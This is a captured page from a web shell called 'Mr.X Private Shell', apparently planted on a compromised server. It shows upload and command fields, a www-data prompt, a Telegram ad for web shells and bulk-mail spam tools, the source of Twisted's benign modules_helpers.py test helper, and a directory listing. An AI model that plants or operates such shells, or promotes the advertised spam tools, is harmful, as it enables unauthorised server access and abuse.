__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Facilities for helping test code which interacts with Python's module system
to load code.
"""

import sys
from types import ModuleType
from typing import Iterable, List, Tuple

from twisted.python.filepath import FilePath


class TwistedModulesMixin:
    """
    A mixin for C{twisted.trial.unittest.SynchronousTestCase} providing useful
    methods for manipulating Python's module system.
    """

    def replaceSysPath(self, sysPath: List[str]) -> None:
        """
        Replace sys.path, for the duration of the test, with the given value.
        """
        originalSysPath = sys.path[:]

        def cleanUpSysPath() -> None:
            sys.path[:] = originalSysPath

        self.addCleanup(cleanUpSysPath)  # type: ignore[attr-defined]
        sys.path[:] = sysPath

    def replaceSysModules(self, sysModules: Iterable[Tuple[str, ModuleType]]) -> None:
        """
        Replace sys.modules, for the duration of the test, with the given value.
        """
        originalSysModules = sys.modules.copy()

        def cleanUpSysModules() -> None:
            sys.modules.clear()
            sys.modules.update(originalSysModules)

        self.addCleanup(cleanUpSysModules)  # type: ignore[attr-defined]
        sys.modules.clear()
        sys.modules.update(sysModules)

    def pathEntryWithOnePackage(self, pkgname: str = "test_package") -> FilePath[str]:
        """
        Generate a L{FilePath} with one package, named C{pkgname}, on it, and
        return the L{FilePath} of the path entry.
        """
        entry = FilePath(self.mktemp())  # type: ignore[attr-defined]
        pkg = entry.child("test_package")
        pkg.makedirs()
        pkg.child("__init__.py").setContent(b"")
        return entry

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 42 B 0644
deprecatedattributes.py File 505 B 0644
modules_helpers.py File 1.77 KB 0644
pullpipe.py File 1.24 KB 0644
strategies.py File 1.08 KB 0644
test_appdirs.py File 1.05 KB 0644
test_components.py File 25.22 KB 0644
test_constants.py File 36.94 KB 0644
test_deprecate.py File 41.1 KB 0644
test_fakepwd.py File 14.84 KB 0644
test_htmlizer.py File 1.26 KB 0644
test_inotify.py File 3.62 KB 0644
test_release.py File 16.18 KB 0644
test_runtime.py File 7.92 KB 0644
test_sendmsg.py File 10.01 KB 0644
test_shellcomp.py File 20.67 KB 0644
test_syslog.py File 5.04 KB 0644
test_systemd.py File 7.17 KB 0644
test_textattributes.py File 670 B 0644
test_tzhelper.py File 4.05 KB 0644
test_url.py File 29.36 KB 0644
test_urlpath.py File 9.97 KB 0644
test_util.py File 34.07 KB 0644
test_versions.py File 5.26 KB 0644
test_win32.py File 2.01 KB 0644
test_zippath.py File 3.81 KB 0644
test_zipstream.py File 11.8 KB 0644
Filemanager